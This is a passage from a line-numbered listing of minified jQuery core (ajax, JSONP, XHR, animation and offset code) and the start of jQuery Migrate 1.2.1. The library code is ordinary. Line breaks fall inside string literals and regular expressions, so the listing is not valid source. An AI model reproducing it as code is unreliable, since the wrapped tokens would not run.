1472mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(e,t){x.fn[t]
1473
1474=function(e,n){return arguments.length>0?this.on(t,null,e,n):this.trigger(t)}}),x.fn.extend({hover:function(e,t)
1475
1476{return this.mouseenter(e).mouseleave(t||e)},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function
1477
1478(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n)
1479
1480{return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)}});var mn,yn,vn=x.now(),bn=/\?/,xn=/#.*
1481
1482$/,wn=/([?&])_=[^&]*/,Tn=/^(.*?):[ \t]*([^\r\n]*)\r?$/gm,Cn=/^(?:about|app|app-storage|.+-extension|file|
1483
1484res|widget):$/,Nn=/^(?:GET|HEAD)$/,kn=/^\/\//,En=/^([\w.+-]+:)(?:\/\/([^\/?#:]*)(?::(\d
1485
1486+)|)|)/,Sn=x.fn.load,An={},jn={},Dn="*/".concat("*");try{yn=o.href}catch(Ln){yn=a.createElement
1487
1488("a"),yn.href="",yn=yn.href}mn=En.exec(yn.toLowerCase())||[];function Hn(e){return function(t,n){"string"!
1489
1490=typeof t&&(n=t,t="*");var r,i=0,o=t.toLowerCase().match(T)||[];if(x.isFunction(n))while(r=o[i++])"+"===r[0]?
1491
1492(r=r.slice(1)||"*",(e[r]=e[r]||[]).unshift(n)):(e[r]=e[r]||[]).push(n)}}function qn(e,n,r,i){var o=
1493
1494{},a=e===jn;function s(l){var u;return o[l]=!0,x.each(e[l]||[],function(e,l){var c=l(n,r,i);return"string"!=typeof
1495
1496c||a||o[c]?a?!(u=c):t:(n.dataTypes.unshift(c),s(c),!1)}),u}return s(n.dataTypes[0])||!o["*"]&&s("*")}function
1497
1498_n(e,n){var r,i,o=x.ajaxSettings.flatOptions||{};for(i in n)n[i]!==t&&((o[i]?e:r||(r={}))[i]=n[i]);return
1499
1500r&&x.extend(!0,e,r),e}x.fn.load=function(e,n,r){if("string"!=typeof e&&Sn)return Sn.apply(this,arguments);var
1501
1502i,o,a,s=this,l=e.indexOf(" ");return l>=0&&(i=e.slice(l,e.length),e=e.slice(0,l)),x.isFunction(n)?
1503
1504(r=n,n=t):n&&"object"==typeof n&&(a="POST"),s.length>0&&x.ajax
1505
1506({url:e,type:a,dataType:"html",data:n}).done(function(e){o=arguments,s.html(i?x("<div>").append
1507
1508(x.parseHTML(e)).find(i):e)}).complete(r&&function(e,t){s.each(r,o||[e.responseText,t,e])}),this},x.each
1509
1510(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){x.fn[t]=function
1511
1512(e){return this.on(t,e)}}),x.extend({active:0,lastModified:{},etag:{},ajaxSettings:
1513
1514{url:yn,type:"GET",isLocal:Cn.test(mn[1]),global:!0,processData:!0,async:!0,contentType:"application/x-www-
1515
1516form-urlencoded; charset=UTF-8",accepts:{"*":Dn,text:"text/plain",html:"text/html",xml:"application/xml,
1517
1518text/xml",json:"application/json, text/javascript"},contents:
1519
1520{xml:/xml/,html:/html/,json:/json/},responseFields:
1521
1522{xml:"responseXML",text:"responseText",json:"responseJSON"},converters:{"* text":String,"text html":!0,"text
1523
1524json":x.parseJSON,"text xml":x.parseXML},flatOptions:{url:!0,context:!0}},ajaxSetup:function(e,t){return t?_n
1525
1526(_n(e,x.ajaxSettings),t):_n(x.ajaxSettings,e)},ajaxPrefilter:Hn(An),ajaxTransport:Hn(jn),ajax:function(e,n)
1527
1528{"object"==typeof e&&(n=e,e=t),n=n||{};var r,i,o,a,s,l,u,c,p=x.ajaxSetup({},n),f=p.context||p,d=p.context&&
1529
1530(f.nodeType||f.jquery)?x(f):x.event,h=x.Deferred(),g=x.Callbacks("once memory"),m=p.statusCode||{},y={},v=
1531
1532{},b=0,w="canceled",C={readyState:0,getResponseHeader:function(e){var t;if(2===b){if(!c){c={};while
1533
1534(t=Tn.exec(a))c[t[1].toLowerCase()]=t[2]}t=c[e.toLowerCase()]}return null==t?
1535
1536null:t},getAllResponseHeaders:function(){return 2===b?a:null},setRequestHeader:function(e,t){var
1537
1538n=e.toLowerCase();return b||(e=v[n]=v[n]||e,y[e]=t),this},overrideMimeType:function(e){return b||
1539
1540(p.mimeType=e),this},statusCode:function(e){var t;if(e)if(2>b)for(t in e)m[t]=[m[t],e[t]];else C.always(e
1541
1542[C.status]);return this},abort:function(e){var t=e||w;return u&&u.abort(t),k(0,t),this}};if(h.promise
1543
1544(C).complete=g.add,C.success=C.done,C.error=C.fail,p.url=((e||p.url||yn)+"").replace(xn,"").replace(kn,mn
1545
1546[1]+"//"),p.type=n.method||n.type||p.method||p.type,p.dataTypes=x.trim(p.dataType||"*").toLowerCase
1547
1548().match(T)||[""],null==p.crossDomain&&(r=En.exec(p.url.toLowerCase()),p.crossDomain=!(!r||r[1]===mn[1]
1549
1550&&r[2]===mn[2]&&(r[3]||("http:"===r[1]?"80":"443"))===(mn[3]||("http:"===mn
1551
1552[1]?"80":"443")))),p.data&&p.processData&&"string"!=typeof p.data&&(p.data=x.param
1553
1554(p.data,p.traditional)),qn(An,p,n,C),2===b)return C;l=p.global,l&&0===x.active++&&x.event.trigger
1555
1556("ajaxStart"),p.type=p.type.toUpperCase(),p.hasContent=!Nn.test(p.type),o=p.url,p.hasContent||(p.data&&
1557
1558(o=p.url+=(bn.test(o)?"&":"?")+p.data,delete p.data),p.cache===!1&&(p.url=wn.test(o)?o.replace
1559
1560(wn,"$1_="+vn++):o+(bn.test(o)?"&":"?")+"_="+vn++)),p.ifModified&&(x.lastModified[o]
1561
1562&&C.setRequestHeader("If-Modified-Since",x.lastModified[o]),x.etag[o]&&C.setRequestHeader("If-None-
1563
1564Match",x.etag[o])),(p.data&&p.hasContent&&p.contentType!==!1||n.contentType)&&C.setRequestHeader
1565
1566("Content-Type",p.contentType),C.setRequestHeader("Accept",p.dataTypes[0]&&p.accepts[p.dataTypes[0]]?
1567
1568p.accepts[p.dataTypes[0]]+("*"!==p.dataTypes[0]?", "+Dn+"; q=0.01":""):p.accepts["*"]);for(i in p.headers)
1569
1570C.setRequestHeader(i,p.headers[i]);if(p.beforeSend&&(p.beforeSend.call(f,C,p)===!1||2===b))return C.abort
1571
1572();w="abort";for(i in{success:1,error:1,complete:1})C[i](p[i]);if(u=qn(jn,p,n,C)){C.readyState=1,l&&d.trigger
1573
1574("ajaxSend",[C,p]),p.async&&p.timeout>0&&(s=setTimeout(function(){C.abort("timeout")},p.timeout));try
1575
1576{b=1,u.send(y,k)}catch(N){if(!(2>b))throw N;k(-1,N)}}else k(-1,"No Transport");function k(e,n,r,i){var
1577
1578c,y,v,w,T,N=n;2!==b&&(b=2,s&&clearTimeout(s),u=t,a=i||"",C.readyState=e>0?4:0,c=e>=200&&300>e||
1579
1580304===e,r&&(w=Mn(p,C,r)),w=On(p,w,C,c),c?(p.ifModified&&(T=C.getResponseHeader("Last-Modified"),T&&
1581
1582(x.lastModified[o]=T),T=C.getResponseHeader("etag"),T&&(x.etag[o]=T)),204===e||"HEAD"===p.type?
1583
1584N="nocontent":304===e?N="notmodified":(N=w.state,y=w.data,v=w.error,c=!v)):(v=N,(e||!N)&&
1585
1586(N="error",0>e&&(e=0))),C.status=e,C.statusText=(n||N)+"",c?h.resolveWith(f,[y,N,C]):h.rejectWith(f,
1587
1588[C,N,v]),C.statusCode(m),m=t,l&&d.trigger(c?"ajaxSuccess":"ajaxError",[C,p,c?y:v]),g.fireWith(f,[C,N]),l&&
1589
1590(d.trigger("ajaxComplete",[C,p]),--x.active||x.event.trigger("ajaxStop")))}return C},getJSON:function(e,t,n)
1591
1592{return x.get(e,t,n,"json")},getScript:function(e,n){return x.get(e,t,n,"script")}}),x.each(["get","post"],function
1593
1594(e,n){x[n]=function(e,r,i,o){return x.isFunction(r)&&(o=o||i,i=r,r=t),x.ajax
1595
1596({url:e,type:n,dataType:o,data:r,success:i})}});function Mn(e,n,r){var i,o,a,s,l=e.contents,u=e.dataTypes;while
1597
1598("*"===u[0])u.shift(),o===t&&(o=e.mimeType||n.getResponseHeader("Content-Type"));if(o)for(s in l)if(l[s]
1599
1600&&l[s].test(o)){u.unshift(s);break}if(u[0]in r)a=u[0];else{for(s in r){if(!u[0]||e.converters[s+" "+u[0]])
1601
1602{a=s;break}i||(i=s)}a=a||i}return a?(a!==u[0]&&u.unshift(a),r[a]):t}function On(e,t,n,r){var i,o,a,s,l,u=
1603
1604{},c=e.dataTypes.slice();if(c[1])for(a in e.converters)u[a.toLowerCase()]=e.converters[a];o=c.shift();while(o)if
1605
1606(e.responseFields[o]&&(n[e.responseFields[o]]=t),!l&&r&&e.dataFilter&&(t=e.dataFilter
1607
1608(t,e.dataType)),l=o,o=c.shift())if("*"===o)o=l;else if("*"!==l&&l!==o){if(a=u[l+" "+o]||u["* "+o],!a)for(i in u)if
1609
1610(s=i.split(" "),s[1]===o&&(a=u[l+" "+s[0]]||u["* "+s[0]])){a===!0?a=u[i]:u[i]!==!0&&(o=s[0],c.unshift(s
1611
1612[1]));break}if(a!==!0)if(a&&e["throws"])t=a(t);else try{t=a(t)}catch(p){return{state:"parsererror",error:a?p:"No
1613
1614conversion from "+l+" to "+o}}}return{state:"success",data:t}}x.ajaxSetup({accepts:{script:"text/javascript,
1615
1616application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/(?:java|ecma)
1617
1618script/},converters:{"text script":function(e){return x.globalEval(e),e}}}),x.ajaxPrefilter("script",function(e)
1619
1620{e.cache===t&&(e.cache=!1),e.crossDomain&&(e.type="GET",e.global=!1)}),x.ajaxTransport("script",function
1621
1622(e){if(e.crossDomain){var n,r=a.head||x("head")[0]||a.documentElement;return{send:function(t,i)
1623
1624{n=a.createElement("script"),n.async=!0,e.scriptCharset&&
1625
1626(n.charset=e.scriptCharset),n.src=e.url,n.onload=n.onreadystatechange=function(e,t){(t||!
1627
1628n.readyState||/loaded|complete/.test(n.readyState))&&
1629
1630(n.onload=n.onreadystatechange=null,n.parentNode&&n.parentNode.removeChild(n),n=null,t||i
1631
1632(200,"success"))},r.insertBefore(n,r.firstChild)},abort:function(){n&&n.onload(t,!0)}}}});var Fn=[],Bn=/(=)\?(?
1633
1634=&|$)|\?\?/;x.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=Fn.pop()||x.expando+"_"+vn+
1635
1636+;return this[e]=!0,e}}),x.ajaxPrefilter("json jsonp",function(n,r,i){var o,a,s,l=n.jsonp!==!1&&(Bn.test
1637
1638(n.url)?"url":"string"==typeof n.data&&!(n.contentType||"").indexOf("application/x-www-form-urlencoded")
1639
1640&&Bn.test(n.data)&&"data");return l||"jsonp"===n.dataTypes[0]?(o=n.jsonpCallback=x.isFunction
1641
1642(n.jsonpCallback)?n.jsonpCallback():n.jsonpCallback,l?n[l]=n[l].replace(Bn,"$1"+o):n.jsonp!==!1&&(n.url+=
1643
1644(bn.test(n.url)?"&":"?")+n.jsonp+"="+o),n.converters["script json"]=function(){return s||x.error(o+" was not
1645
1646called"),s[0]},n.dataTypes[0]="json",a=e[o],e[o]=function(){s=arguments},i.always(function(){e[o]=a,n[o]&&
1647
1648(n.jsonpCallback=r.jsonpCallback,Fn.push(o)),s&&x.isFunction(a)&&a(s[0]),s=a=t}),"script"):t});var Pn,Rn,Wn=0,
1649
1650$n=e.ActiveXObject&&function(){var e;for(e in Pn)Pn[e](t,!0)};function In(){try{return new e.XMLHttpRequest}
1651
1652catch(t){}}function zn(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}
1653
1654x.ajaxSettings.xhr=e.ActiveXObject?function(){return!this.isLocal&&In()||zn()}:In,Rn=x.ajaxSettings.xhr
1655
1656(),x.support.cors=!!Rn&&"withCredentials"in Rn,Rn=x.support.ajax=!!Rn,Rn&&x.ajaxTransport(function(n){if(!
1657
1658n.crossDomain||x.support.cors){var r;return{send:function(i,o){var a,s,l=n.xhr();if(n.username?l.open
1659
1660(n.type,n.url,n.async,n.username,n.password):l.open(n.type,n.url,n.async),n.xhrFields)for(s in n.xhrFields)l[s]
1661
1662=n.xhrFields[s];n.mimeType&&l.overrideMimeType&&l.overrideMimeType(n.mimeType),n.crossDomain||i
1663
1664["X-Requested-With"]||(i["X-Requested-With"]="XMLHttpRequest");try{for(s in i)l.setRequestHeader(s,i[s])}
1665
1666catch(u){}l.send(n.hasContent&&n.data||null),r=function(e,i){var s,u,c,p;try{if(r&&(i||4===l.readyState))if
1667
1668(r=t,a&&(l.onreadystatechange=x.noop,$n&&delete Pn[a]),i)4!==l.readyState&&l.abort();else{p=
1669
1670{},s=l.status,u=l.getAllResponseHeaders(),"string"==typeof l.responseText&&(p.text=l.responseText);try
1671
1672{c=l.statusText}catch(f){c=""}s||!n.isLocal||n.crossDomain?1223===s&&(s=204):s=p.text?200:404}}catch(d){i||o
1673
1674(-1,d)}p&&o(s,c,p,u)},n.async?4===l.readyState?setTimeout(r):(a=++Wn,$n&&(Pn||(Pn={},x(e).unload($n)),Pn
1675
1676[a]=r),l.onreadystatechange=r):r()},abort:function(){r&&r(t,!0)}}}});var Xn,Un,Vn=/^(?:toggle|show|
1677
1678hide)$/,Yn=RegExp("^(?:([+-])=|)("+w+")([a-z%]*)$","i"),Jn=/queueHooks$/,Gn=[nr],Qn={"*":[function(e,t){var
1679
1680n=this.createTween(e,t),r=n.cur(),i=Yn.exec(t),o=i&&i[3]||(x.cssNumber[e]?"":"px"),a=(x.cssNumber
1681
1682[e]||"px"!==o&&+r)&&Yn.exec(x.css(n.elem,e)),s=1,l=20;if(a&&a[3]!==o){o=o||a[3],i=i||[],a=+r||1;do
1683
1684s=s||".5",a/=s,x.style(n.elem,e,a+o);while(s!==(s=n.cur()/r)&&1!==s&&--l)}return i&&(a=n.start=+a||+r||
1685
16860,n.unit=o,n.end=i[1]?a+(i[1]+1)*i[2]:+i[2]),n}]};function Kn(){return setTimeout(function(){Xn=t}),Xn=x.now()}
1687
1688function Zn(e,t,n){var r,i=(Qn[t]||[]).concat(Qn["*"]),o=0,a=i.length;for(;a>o;o++)if(r=i[o].call(n,t,e))return r}
1689
1690function er(e,t,n){var r,i,o=0,a=Gn.length,s=x.Deferred().always(function(){delete l.elem}),l=function(){if(i)
1691
1692return!1;var t=Xn||Kn(),n=Math.max(0,u.startTime+u.duration-t),r=n/u.duration||0,o=1-
1693
1694r,a=0,l=u.tweens.length;for(;l>a;a++)u.tweens[a].run(o);return s.notifyWith(e,[u,o,n]),1>o&&l?n:
1695
1696(s.resolveWith(e,[u]),!1)},u=s.promise({elem:e,props:x.extend({},t),opts:x.extend(!0,{specialEasing:
1697
1698{}},n),originalProperties:t,originalOptions:n,startTime:Xn||Kn(),duration:n.duration,tweens:
1699
1700[],createTween:function(t,n){var r=x.Tween(e,u.opts,t,n,u.opts.specialEasing[t]||u.opts.easing);return
1701
1702u.tweens.push(r),r},stop:function(t){var n=0,r=t?u.tweens.length:0;if(i)return this;for(i=!0;r>n;n++)u.tweens
1703
1704[n].run(1);return t?s.resolveWith(e,[u,t]):s.rejectWith(e,[u,t]),this}}),c=u.props;for(tr
1705
1706(c,u.opts.specialEasing);a>o;o++)if(r=Gn[o].call(u,e,c,u.opts))return r;return x.map(c,Zn,u),x.isFunction
1707
1708(u.opts.start)&&u.opts.start.call(e,u),x.fx.timer(x.extend(l,{elem:e,anim:u,queue:u.opts.queue})),u.progress
1709
1710(u.opts.progress).done(u.opts.done,u.opts.complete).fail(u.opts.fail).always(u.opts.always)}function tr(e,t)
1711
1712{var n,r,i,o,a;for(n in e)if(r=x.camelCase(n),i=t[r],o=e[n],x.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]
1713
1714=o,delete e[n]),a=x.cssHooks[r],a&&"expand"in a){o=a.expand(o),delete e[r];for(n in o)n in e||(e[n]=o[n],t[n]
1715
1716=i)}else t[r]=i}x.Animation=x.extend(er,{tweener:function(e,t){x.isFunction(e)?(t=e,e=["*"]):e=e.split(" ");var
1717
1718n,r=0,i=e.length;for(;i>r;r++)n=e[r],Qn[n]=Qn[n]||[],Qn[n].unshift(t)},prefilter:function(e,t){t?Gn.unshift
1719
1720(e):Gn.push(e)}});function nr(e,t,n){var r,i,o,a,s,l,u=this,c={},p=e.style,f=e.nodeType&&nn(e),d=x._data
1721
1722(e,"fxshow");n.queue||(s=x._queueHooks(e,"fx"),null==s.unqueued&&
1723
1724(s.unqueued=0,l=s.empty.fire,s.empty.fire=function(){s.unqueued||l()}),s.unqueued++,u.always(function()
1725
1726{u.always(function(){s.unqueued--,x.queue(e,"fx").length||s.empty.fire()})})),1===e.nodeType&&("height"in
1727
1728t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],"inline"===x.css(e,"display")
1729
1730&&"none"===x.css(e,"float")&&(x.support.inlineBlockNeedsLayout&&"inline"!==ln(e.nodeName)?
1731
1732p.zoom=1:p.display="inline-block")),n.overflow&&(p.overflow="hidden",x.support.shrinkWrapBlocks||
1733
1734u.always(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in
1735
1736t)if(i=t[r],Vn.exec(i)){if(delete t[r],o=o||"toggle"===i,i===(f?"hide":"show"))continue;c[r]=d&&d[r]||x.style
1737
1738(e,r)}if(!x.isEmptyObject(c)){d?"hidden"in d&&(f=d.hidden):d=x._data(e,"fxshow",{}),o&&(d.hidden=!f),f?x
1739
1740(e).show():u.done(function(){x(e).hide()}),u.done(function(){var t;x._removeData(e,"fxshow");for(t in c)
1741
1742x.style(e,t,c[t])});for(r in c)a=Zn(f?d[r]:0,r,u),r in d||(d[r]=a.start,f&&
1743
1744(a.end=a.start,a.start="width"===r||"height"===r?1:0))}}function rr(e,t,n,r,i){return new rr.prototype.init
1745
1746(e,t,n,r,i)}x.Tween=rr,rr.prototype={constructor:rr,init:function(e,t,n,r,i,o)
1747
1748{this.elem=e,this.prop=n,this.easing=i||"swing",this.options=t,this.start=this.now=this.cur
1749
1750(),this.end=r,this.unit=o||(x.cssNumber[n]?"":"px")},cur:function(){var e=rr.propHooks[this.prop];return
1751
1752e&&e.get?e.get(this):rr.propHooks._default.get(this)},run:function(e){var t,n=rr.propHooks[this.prop];return
1753
1754this.pos=t=this.options.duration?x.easing[this.easing]
1755
1756(e,this.options.duration*e,0,1,this.options.duration):e,this.now=(this.end-this.start)*t
1757
1758+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set
1759
1760(this):rr.propHooks._default.set(this),this}},rr.prototype.init.prototype=rr.prototype,rr.propHooks={_default:
1761
1762{get:function(e){var t;return null==e.elem[e.prop]||e.elem.style&&null!=e.elem.style[e.prop]?(t=x.css
1763
1764(e.elem,e.prop,""),t&&"auto"!==t?t:0):e.elem[e.prop]},set:function(e){x.fx.step[e.prop]?x.fx.step[e.prop]
1765
1766(e):e.elem.style&&(null!=e.elem.style[x.cssProps[e.prop]]||x.cssHooks[e.prop])?x.style
1767
1768(e.elem,e.prop,e.now+e.unit):e.elem[e.prop]=e.now}}},rr.propHooks.scrollTop=rr.propHooks.scrollLeft=
1769
1770{set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},x.each
1771
1772(["toggle","show","hide"],function(e,t){var n=x.fn[t];x.fn[t]=function(e,r,i){return null==e||"boolean"==typeof
1773
1774e?n.apply(this,arguments):this.animate(ir(t,!0),e,r,i)}}),x.fn.extend({fadeTo:function(e,t,n,r){return this.filter
1775
1776(nn).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(e,t,n,r){var i=x.isEmptyObject
1777
1778(e),o=x.speed(t,n,r),a=function(){var t=er(this,x.extend({},e),o);(i||x._data(this,"finish"))&&t.stop(!0)};return
1779
1780a.finish=a,i||o.queue===!1?this.each(a):this.queue(o.queue,a)},stop:function(e,n,r){var i=function(e){var
1781
1782t=e.stop;delete e.stop,t(r)};return"string"!=typeof e&&(r=n,n=e,e=t),n&&e!==!1&&this.queue(e||"fx",
1783
1784[]),this.each(function(){var t=!0,n=null!=e&&e+"queueHooks",o=x.timers,a=x._data(this);if(n)a[n]&&a
1785
1786[n].stop&&i(a[n]);else for(n in a)a[n]&&a[n].stop&&Jn.test(n)&&i(a[n]);for(n=o.length;n--;)o[n].elem!
1787
1788==this||null!=e&&o[n].queue!==e||(o[n].anim.stop(r),t=!1,o.splice(n,1));(t||!r)&&x.dequeue
1789
1790(this,e)})},finish:function(e){return e!==!1&&(e=e||"fx"),this.each(function(){var t,n=x._data(this),r=n[e
1791
1792+"queue"],i=n[e+"queueHooks"],o=x.timers,a=r?r.length:0;for(n.finish=!0,x.queue(this,e,
1793
1794[]),i&&i.stop&&i.stop.call(this,!0),t=o.length;t--;)o[t].elem===this&&o[t].queue===e&&(o[t].anim.stop(!
1795
17960),o.splice(t,1));for(t=0;a>t;t++)r[t]&&r[t].finish&&r[t].finish.call(this);delete n.finish})}});function ir(e,t){var
1797
1798n,r={height:e},i=0;for(t=t?1:0;4>i;i+=2-t)n=Zt[i],r["margin"+n]=r["padding"+n]=e;return t&&
1799
1800(r.opacity=r.width=e),r}x.each({slideDown:ir("show"),slideUp:ir("hide"),slideToggle:ir("toggle"),fadeIn:
1801
1802{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(e,t){x.fn[e]=function(e,n,r)
1803
1804{return this.animate(t,e,n,r)}}),x.speed=function(e,t,n){var r=e&&"object"==typeof e?x.extend({},e):
1805
1806{complete:n||!n&&t||x.isFunction(e)&&e,duration:e,easing:n&&t||t&&!x.isFunction(t)&&t};return
1807
1808r.duration=x.fx.off?0:"number"==typeof r.duration?r.duration:r.duration in x.fx.speeds?x.fx.speeds
1809
1810[r.duration]:x.fx.speeds._default,(null==r.queue||r.queue===!0)&&
1811
1812(r.queue="fx"),r.old=r.complete,r.complete=function(){x.isFunction(r.old)&&r.old.call
1813
1814(this),r.queue&&x.dequeue(this,r.queue)},r},x.easing={linear:function(e){return e},swing:function(e){return.5
1815
1816-Math.cos(e*Math.PI)/2}},x.timers=[],x.fx=rr.prototype.init,x.fx.tick=function(){var e,n=x.timers,r=0;for
1817
1818(Xn=x.now();n.length>r;r++)e=n[r],e()||n[r]!==e||n.splice(r--,1);n.length||x.fx.stop
1819
1820(),Xn=t},x.fx.timer=function(e){e()&&x.timers.push(e)&&x.fx.start()},x.fx.interval=13,x.fx.start=function()
1821
1822{Un||(Un=setInterval(x.fx.tick,x.fx.interval))},x.fx.stop=function(){clearInterval(Un),Un=null},x.fx.speeds=
1823
1824{slow:600,fast:200,_default:400},x.fx.step={},x.expr&&x.expr.filters&&(x.expr.filters.animated=function(e)
1825
1826{return x.grep(x.timers,function(t){return e===t.elem}).length}),x.fn.offset=function(e){if(arguments.length)
1827
1828return e===t?this:this.each(function(t){x.offset.setOffset(this,e,t)});var n,r,o={top:0,left:0},a=this
1829
1830[0],s=a&&a.ownerDocument;if(s)return n=s.documentElement,x.contains(n,a)?(typeof
1831
1832a.getBoundingClientRect!==i&&(o=a.getBoundingClientRect()),r=or(s),{top:o.top+(r.pageYOffset||n.scrollTop)-
1833
1834(n.clientTop||0),left:o.left+(r.pageXOffset||n.scrollLeft)-(n.clientLeft||0)}):o},x.offset={setOffset:function
1835
1836(e,t,n){var r=x.css(e,"position");"static"===r&&(e.style.position="relative");var i=x(e),o=i.offset(),a=x.css
1837
1838(e,"top"),s=x.css(e,"left"),l=("absolute"===r||"fixed"===r)&&x.inArray("auto",[a,s])>-1,u={},c={},p,f;l?
1839
1840(c=i.position(),p=c.top,f=c.left):(p=parseFloat(a)||0,f=parseFloat(s)||0),x.isFunction(t)&&(t=t.call(e,n,o)),null!
1841
1842=t.top&&(u.top=t.top-o.top+p),null!=t.left&&(u.left=t.left-o.left+f),"using"in t?t.using.call(e,u):i.css
1843
1844(u)}},x.fn.extend({position:function(){if(this[0]){var e,t,n={top:0,left:0},r=this[0];return"fixed"===x.css
1845
1846(r,"position")?t=r.getBoundingClientRect():(e=this.offsetParent(),t=this.offset(),x.nodeName(e[0],"html")||
1847
1848(n=e.offset()),n.top+=x.css(e[0],"borderTopWidth",!0),n.left+=x.css(e[0],"borderLeftWidth",!0)),{top:t.top-
1849
1850n.top-x.css(r,"marginTop",!0),left:t.left-n.left-x.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map
1851
1852(function(){var e=this.offsetParent||s;while(e&&!x.nodeName(e,"html")&&"static"===x.css(e,"position"))
1853
1854e=e.offsetParent;return e||s})}}),x.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(e,n){var
1855
1856r=/Y/.test(n);x.fn[e]=function(i){return x.access(this,function(e,i,o){var a=or(e);return o===t?a?n in a?a
1857
1858[n]:a.document.documentElement[i]:e[i]:(a?a.scrollTo(r?x(a).scrollLeft():o,r?o:x(a).scrollTop()):e[i]
1859
1860=o,t)},e,i,arguments.length,null)}});function or(e){return x.isWindow(e)?e:9===e.nodeType?e.defaultView||
1861
1862e.parentWindow:!1}x.each({Height:"height",Width:"width"},function(e,n){x.each
1863
1864({padding:"inner"+e,content:n,"":"outer"+e},function(r,i){x.fn[i]=function(i,o){var a=arguments.length&&
1865
1866(r||"boolean"!=typeof i),s=r||(i===!0||o===!0?"margin":"border");return x.access(this,function(n,r,i){var
1867
1868o;return x.isWindow(n)?n.document.documentElement["client"+e]:9===n.nodeType?
1869
1870(o=n.documentElement,Math.max(n.body["scroll"+e],o["scroll"+e],n.body["offset"+e],o["offset"+e],o
1871
1872["client"+e])):i===t?x.css(n,r,s):x.style(n,r,i,s)},n,a?i:t,a,null)}})}),x.fn.size=function(){return
1873
1874this.length},x.fn.andSelf=x.fn.addBack,"object"==typeof module&&module&&"object"==typeof
1875
1876module.exports?module.exports=x:(e.jQuery=e.$=x,"function"==typeof define&&define.amd&&define
1877
1878("jquery",[],function(){return x}))})(window);
1879
1880
1881/*! jQuery Migrate v1.2.1 | (c) 2005, 2013 jQuery Foundation, Inc. and other contributors | jquery.org/license */
1882jQuery.migrateMute===void 0&&(jQuery.migrateMute=!0),function(e,t,n){function r(n){var r=t.console;i[n]||(i
1883
1884[n]=!0,e.migrateWarnings.push(n),r&&r.warn&&!e.migrateMute&&(r.warn("JQMIGRATE:
1885
1886"+n),e.migrateTrace&&r.trace&&r.trace()))}function a(t,a,i,o){if(Object.defineProperty)try{return
1887
1888Object.defineProperty(t,a,{configurable:!0,enumerable:!0,get:function(){return r(o),i},set:function(e){r
1889
1890(o),i=e}}),n}catch(s){}e._definePropertyBroken=!0,t[a]=i}var i={};e.migrateWarnings=[],!
1891
1892e.migrateMute&&t.console&&t.console.log&&t.console.log("JQMIGRATE: Logging is
1893
1894active"),e.migrateTrace===n&&(e.migrateTrace=!0),e.migrateReset=function(){i=
1895
1896{},e.migrateWarnings.length=0},"BackCompat"===document.compatMode&&r("jQuery is not compatible with
1897
1898Quirks Mode");var o=e("<input/>",{size:1}).attr("size")
1899
1900&&e.attrFn,s=e.attr,u=e.attrHooks.value&&e.attrHooks.value.get||function(){return
1901
1902null},c=e.attrHooks.value&&e.attrHooks.value.set||function(){return n},l=/^(?:input|button)$/i,d=/^
1903
1904[238]$/,p=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|
1905
1906readonly|required|scoped|selected)$/i,f=/^(?:checked|selected)$/i;a(e,"attrFn",o||{},"jQuery.attrFn is
1907
1908deprecated"),e.attr=function(t,a,i,u){var c=a.toLowerCase(),g=t&&t.nodeType;return u&&(4>s.length&&r
1909
1910("jQuery.fn.attr( props, pass ) is deprecated"),t&&!d.test(g)&&(o?a in o:e.isFunction(e.fn[a])))?e(t)[a](i):
1911
1912("type"===a&&i!==n&&l.test(t.nodeName)&&t.parentNode&&r("Can't change the 'type' of an input or button in
1913
1914IE 6/7/8"),!e.attrHooks[c]&&p.test(c)&&(e.attrHooks[c]={get:function(t,r){var a,i=e.prop(t,r);return i===!
1915
19160||"boolean"!=typeof i&&(a=t.getAttributeNode(r))&&a.nodeValue!==!1?r.toLowerCase():n},set:function
1917
1918(t,n,r){var a;return n===!1?e.removeAttr(t,r):(a=e.propFix[r]||r,a in t&&(t[a]=!0),t.setAttribute(r,r.toLowerCase
1919
1920())),r}},f.test(c)&&r("jQuery.fn.attr('"+c+"') may use property instead of attribute")),s.call
1921
1922(e,t,a,i))},e.attrHooks.value={get:function(e,t){var n=(e.nodeName||"").toLowerCase();return"button"===n?
1923
1924u.apply(this,arguments):("input"!==n&&"option"!==n&&r("jQuery.fn.attr('value') no longer gets properties"),t
1925
1926in e?e.value:null)},set:function(e,t){var a=(e.nodeName||"").toLowerCase();return"button"===a?c.apply
1927
1928(this,arguments):("input"!==a&&"option"!==a&&r("jQuery.fn.attr('value', val) no longer sets
1929
1930properties"),e.value=t,n)}};var g,h,v=e.fn.init,m=e.parseJSON,y=/^([^<]*)(<[\w\W]+>)([^>]
1931
1932*)$/;e.fn.init=function(t,n,a){var i;return t&&"string"==typeof t&&!e.isPlainObject(n)&&(i=y.exec(e.trim(t)))
1933
1934&&i[0]&&("<"!==t.charAt(0)&&r("$(html) HTML strings must start with '<' character"),i[3]&&r("$(html) HTML text
1935
1936after last tag is ignored"),"#"===i[0].charAt(0)&&(r("HTML string cannot start with a '#' character"),e.error
1937
1938("JQMIGRATE: Invalid selector string (XSS)")),n&&n.context&&(n=n.context),e.parseHTML)?v.call
1939
1940(this,e.parseHTML(i[2],n,!0),n,a):v.apply(this,arguments)},e.fn.init.prototype=e.fn,e.parseJSON=function(e)
1941
1942{return e||null===e?m.apply(this,arguments):(r("jQuery.parseJSON requires a valid JSON
1943
